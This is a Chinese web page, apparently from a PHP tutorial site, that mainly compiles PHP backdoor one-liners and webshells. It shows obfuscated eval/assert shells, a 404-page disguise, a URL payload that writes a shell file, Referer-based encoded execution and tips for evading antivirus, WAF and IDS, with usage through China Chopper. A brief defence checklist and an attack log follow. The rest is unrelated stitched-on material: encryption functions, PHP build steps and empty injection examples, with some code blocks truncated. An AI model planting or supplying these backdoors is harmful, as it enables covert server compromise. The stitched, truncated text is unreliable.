PHP常见后门木马程序整理
利用404页面隐藏PHP小马
代码如下 | 复制代码 |
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> |
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话
代码如下 | 复制代码 |
<?php |
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门
代码如下 | 复制代码 |
<?php $_GET[a]($_GET[b]);?> |
仅用GET函数就构成了木马;
利用方法:
代码如下 | 复制代码 |
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w% 29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; |
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门
此方法用两个文件实现,文件1
代码如下 | 复制代码 |
<?php |
文件2
代码如下 | 复制代码 |
<?php |
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web 程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通 过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函 数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具 进行扫描,结果显示该文件无任何威胁。
以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。
PHP一句话生成工具
三个变形的一句话PHP木马
第一个
代码如下 | 复制代码 |
<?php ($_=@$_GET[2]).@$_($_POST[1])?> |
在菜刀里写http://site/1.php?2=assert密码是1
第二个
代码如下 | 复制代码 |
<?php |
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。
如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
代码如下 | 复制代码 |
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血! 这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话: AddType application/x-httpd-php .htaccess |
toby57解析加密一句话木马
此段后门使用方法会与其它方法不太一样,具体看下面
代码如下 | 复制代码 |
Client: <?php Server: <?php |
对服务端与客户端指令对比,如一致则执行后门指令。
几个President分享的PHP一句话
代码如下 | 复制代码 |
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?> <?php |
最后列几个高级的PHP一句话木马后门
代码如下 | 复制代码 |
1、 |
一款萎缩的动态生成远端大马后门
Webshell代码如下:
代码如下 | 复制代码 |
<?php |
其实这款后门在某地,还有Tools上先前已经被破,但没有被拿出来公开分析分享,而今天看到360卫士对该SHELL进行了公开分析……,在360公开后,作者blackbin也进行了小幅更新,新版本不在使用高危函数例如 preg_replace e修饰符同时php5.5已经去掉e 不再使用 eval 不在使用assert采用新的匿名方式回调。
代码如下:
代码如下 | 复制代码 |
<?php |
关于这款后门的使用方法,首先要有远端大马,然后后门页其实是一个404伪装页,需要按键盘p键,就会显示登录页,关于此后门的最新代码方法可访问上边作者页获取!
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
如何应对PHP一句话后门
我们强调几个关键点,看这文章的你相信不是门外汉,我也就不??铝耍?/p>
对PHP程序编写要有安全意识
服务器日志文件要经常看,经常备份
对每个站点进行严格的权限分配
对动态文件及目录经常批量安全审查
学会如何进行手工杀毒《即行为判断查杀》
时刻关注,或渗入活跃的网络安全营地
对服务器环境层级化处理,哪怕一个函数也可做规则
当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。
网站的安全漏洞对于网站来讲是一个非常严重的问题了,如果安全没有做好我们网站数据都有可能给爆或删除,下面我来给大家整理一个关于网站安全漏洞问题分析,以一个网站为例子吧。代码如下 | 复制代码 |
1.80.76.136 - - [22/Feb/2014:16:01:26 +0800] "GET /css_edit/css.php HTTP/1.1" 200 45841 1.80.76.136 - - [22/Feb/2014:16:01:43 +0800] "POST /css_edit/css.php HTTP/1.1" 200 45969 1.80.76.136 - - [22/Feb/2014:16:03:30 +0800] "POST /css_edit/css.php HTTP/1.1" 200 45943 1.80.76.136 - - [22/Feb/2014:16:06:43 +0800] "POST /css_edit/css.php HTTP/1.1" 200 45958 1.80.76.136 - - [22/Feb/2014:16:06:47 +0800] "GET /css_edit/css.php HTTP/1.1" 200 45841 1.80.76.136 - - [22/Feb/2014:16:09:41 +0800] "GET /css_edit/css.php HTTP/1.1" 404 214 1.80.76.136 - - [22/Feb/2014:19:17:11 +0800] "GET /css_edit/css-bak/css.php HTTP/1.1" 500 - 1.80.76.136 - - [22/Feb/2014:19:17:44 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 458 1.80.76.136 - - [22/Feb/2014:19:17:50 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 3463 222.90.106.49 - - [27/Feb/2014:19:55:17 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 3297 222.90.106.49 - - [27/Feb/2014:19:55:25 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 115 222.90.106.49 - - [27/Feb/2014:19:55:27 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 734 222.90.106.49 - - [27/Feb/2014:19:55:42 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 1370 222.90.106.49 - - [27/Feb/2014:19:55:54 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 4123 222.90.106.49 - - [27/Feb/2014:19:56:07 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 4187 222.90.106.49 - - [27/Feb/2014:19:56:15 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 996 222.90.106.49 - - [27/Feb/2014:19:56:17 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 1088 222.90.106.49 - - [27/Feb/2014:19:56:25 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 830 222.90.106.49 - - [27/Feb/2014:19:56:51 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 33488 222.90.106.49 - - [27/Feb/2014:19:57:11 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 226 222.90.106.49 - - [27/Feb/2014:19:57:12 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 73 222.90.106.49 - - [27/Feb/2014:19:57:17 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 273 222.90.106.49 - - [27/Feb/2014:19:57:20 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 73 1.86.179.21 - - [03/Mar/2014:13:26:43 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 47454 1.86.179.21 - - [03/Mar/2014:13:27:08 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 43 1.86.179.21 - - [03/Mar/2014:13:27:21 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 7 1.86.179.21 - - [03/Mar/2014:13:27:21 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:27:38 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:28:57 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:29:02 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:30:28 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 - 1.86.179.21 - - [03/Mar/2014:13:30:32 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 - 1.86.179.21 - - [03/Mar/2014:13:30:35 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 - 1.86.179.21 - - [03/Mar/2014:13:30:47 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 6 |
最常见的应用在用户登录以及一些API数据交换的场景。
笔者收录了一些比较经典的PHP加密解密函数代码,分享给大家。加密解密原理一般都是通过一定的加密解密算法,将密钥加入到算法中,最终得到加密解密结果。
1、非常给力的authcode加密函数,Discuz!经典代码(带详解):
代码如下 | 复制代码 |
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 $ckey_length = 4; // 密匙 $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); // 密匙a会参与加解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b), //解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } } |
函数authcode($string, $operation, $key, $expiry)中的$string:字符串,明文或密文;$operation:DECODE表示解密,其它表示加密;$key:密匙;$expiry:密文有效期。
用法:
代码如下 | 复制代码 |
$str = 'abcdef'; $key = 'www.111cn.net'; echo authcode($str,'ENCODE',$key,0); //加密 $str = '56f4yER1DI2WTzWMqsfPpS9hwyoJnFP2MpC8SOhRrxO7BOk'; echo authcode($str,'DECODE',$key,0); //解密 |
2、加解密函数encrypt():
代码如下 | 复制代码 |
function encrypt($string,$operation,$key=''){ $key=md5($key); $key_length=strlen($key); $string=$operation=='D'?base64_decode($string):substr(md5($string.$key),0,8).$string; $string_length=strlen($string); $rndkey=$box=array(); $result=''; for($i=0;$i<=255;$i++){ $rndkey[$i]=ord($key[$i%$key_length]); $box[$i]=$i; } for($j=$i=0;$i<256;$i++){ $j=($j+$box[$i]+$rndkey[$i])%256; $tmp=$box[$i]; $box[$i]=$box[$j]; $box[$j]=$tmp; } for($a=$j=$i=0;$i<$string_length;$i++){ $a=($a+1)%256; $j=($j+$box[$a])%256; $tmp=$box[$a]; $box[$a]=$box[$j]; $box[$j]=$tmp; $result.=chr(ord($string[$i])^($box[($box[$a]+$box[$j])%256])); } if($operation=='D'){ if(substr($result,0,8)==substr(md5(substr($result,8).$key),0,8)){ return substr($result,8); }else{ return''; } }else{ return str_replace('=','',base64_encode($result)); } } |
函数encrypt($string,$operation,$key)中$string:需要加密解密的字符串;$operation:判断是加密还是解密,E表示加密,D表示解密;$key:密匙。
用法:
代码如下 | 复制代码 |
$str = 'abc'; $key = 'www.111cn.net'; $token = encrypt($str, 'E', $key); echo '加密:'.encrypt($str, 'E', $key); echo '解密:'.encrypt($str, 'D', $key); |
本篇主要简述编译php及其扩展memcache,在阅读后面内容之前,建议先阅读一下官方文档(地址)。下面我们以php5.3为例。
一、编译环境
根据你的php版本选择相应的编译器:
php 5.3-5.4 :Visual C++ 9.0(Visual Studio 2008)
php 5.5+ :Visual C++ 11.0(Visual Studio 2012)
如果是php5.3-5.4,还要下载Windows SDK 6.1(下载地址)
二、编译文件
1、下载php源代码,http://snaps.php.net/
2、下载php sdk文件,http://windows.php.net/downloads/php-sdk/
那么我们这里下载这两个文件。
3、下载memcache扩展代码包,http://pecl.php.net/package/memcache
三、编译工作
1、创建编译目录“C:\php_sdk”
2、解压php-sdk-binary-tools-20110915.zip里面的文件到php_sdk目录下
3、在开始菜单找到并打开Windows SDK CMD Shell,然后执行
setenv /x86 /xp /release
cd php_sdk
bin\phpsdk_setvars.bat
bin\phpsdk_buildtree.bat phpdev
执行后,目录下会生成phpdev文件夹
4、进入C:\php_sdk\phpdev\vc9\x86\,把deps-5.3-vc9-x86.7z解压到该目录下,覆盖deps文件夹。
5、把php源代码也解压到x86目录下。
6、在x86目录下创建pecl文件夹,把memcache压缩包内容解压到pecl目录,并把文件夹名memcache-2.2.7改为memcache
7、在x86目录下创建obj文件夹,用于保存编译时生成的文件
8、执行以下命令,用于创建php编译配置
cd phpdev\vc9\x86\php5.3-201308211030
buildconf
configure --help >..\configure_help.txt
configure --disable-all --enable-snapshot-build --enable-cli --enable-cgi --enable-memcache=shared --enable-object-out-dir=..\obj --enable-session
注:配置中的–enable-memcache=shared意思是memcache要生成dll,否则就会和php打包到一起了
9、编译php,执行以下命令
nmake
10、如果想打包php,执行以下命令
nmake snap
到这里,编译工作应该结束了。可以在C:\php_sdk\phpdev\vc9\x86\obj\ReleaseTS\目录中找到php_memcache.dll
四、结束语
这篇文章讲述如何编译php及其本身自带的php扩展,与之前写的windows下编译php扩展 eAccelerator做区别。还可以生成哪些php扩展,具体可以看x86目录刚刚生成的帮助文档configure_help.txt
原文来自:lvtao.net博客
PHP防注入注意要过滤的信息基本是get,post,然后对于sql就是我们常用的查询,插入等等sql命令了,下面我给各位整理两个简单的例子,希望这些例子能给你网站带来安全哦。
代码如下 | 复制代码 |
|
例子二
代码如下 | 复制代码 |
<? |
相关文章
- 这篇文章主要介绍了Bootstrap Table使用整理(二)的相关资料,需要的朋友可以参考下...2017-06-15
- 这篇文章主要为大家详细介绍了Vue组件实现旋转木马动画效果,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-07-23
- 在使用file_put_contents时会碰到并发性问题了,对于这个问题我们有多种解决方案了,其实锁是小编比较喜欢的解决办法了,当然也有其它办法,具体如下。 解决 办法一,fil...2016-11-25
- 这篇文章主要介绍了Delphi实现木马自我拷贝方法,对于研究木马的运行原理很有帮助,需要的朋友可以参考下...2020-06-30
- 写过很多关于Perl编程,今天继续分享一篇利用perl后门实现正向和反向连接的实例代码,需要的朋友可以参考下其中的内容详情...2020-06-29
- 这篇文章主要介绍了Delphi实现木马文件传输的方法,对于了解木马的运行原理有一定的帮助,需要的朋友可以参考下...2020-06-30
- 基于 Bootstrap 的 jQuery 表格插件,通过简单的设置,就可以拥有强大的单选、多选、排序、分页,以及编辑、导出、过滤(扩展)等等的功能...2017-06-15
- 这篇文章主要为大家详细介绍了vue实现旋转木马动画,图片数量无限制,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-07-23
- 这篇文章主要介绍了关于PHP后门隐藏的一些技巧,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-11-04
- 说起php后门木马我就心有愉季啊,前不久一个站就因不小心给人注入了,然后写入了小木马,这样结果大家知道的我就不说了,下面我来给大家收集了各种php后门木马做法,大家可参考...2016-11-25
- 防止.NET木马列所有站物理路径,防止.JPG类型木马 我的服务器上被人上传了一个.NET木马,,这次让我认识到以前没有见过的上传木马的招数,,同时也找出一些对策,分享给给大家。 ...2016-01-27
- 今天看到一份PHP初级面试题给大家分享下,好像挺逗比的。其实自己也挺头疼面试的,老是搞那种理论。习惯百度谷歌的人,真想回答句自己百度去。 一、前端部分 Firefox...2016-11-25
- 近期,一条回复陌生号码短信被骗5760元的微信在朋友圈疯狂转发,十几天内,阅读量已经超过10万。对此,深圳警方表示,回复短信被骗属子虚乌有,被骗市民都是回复短信时点了短信上的相关链接,那么手机收到短信木马链接,打开短信手机会中毒吗...2016-07-04
- 本文章来给各位同学介绍一下关于一些常用的php 文件系统函数整理,希望这些东西对各位同学会有所帮助哦。 简介:本次介绍的是PHP中与文件操作相关的系统函数,这些...2016-11-25
- 这篇文章主要介绍了jqGrid 学习笔记整理——进阶篇(一 )的相关资料,需要的朋友可以参考下...2016-04-19
- 这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话...2016-11-25
- 问: 我想问一下David Axmark先生,目前在全球购买MySQL数据库的用户大概占到什么样的比例?第二个问题分别请两位讲进目前GPL第三版本出来以后业界对数...2016-11-25
- 小编推荐的这篇文章介绍了PHP 信号管理知识整理汇总,非常实用,有兴趣的同学快来看看吧。 SIGQUIT 建立CORE文件终止进程,并且生成core文件SIGILL 建立CORE文...2017-07-06
- 这篇文章主要介绍了C#判断上传文件是否是图片以防止木马上传的方法,对于网络安全来说至关重要,需要的朋友可以参考下...2020-06-25
- Alexa是一个发布全球网站排名信息的网站,他的网址是http://www.alexa.com。Alexa通过在客户端安装Alexa工具条来收集采样全球网站的访问数据,以这些数据为依据对...2016-09-20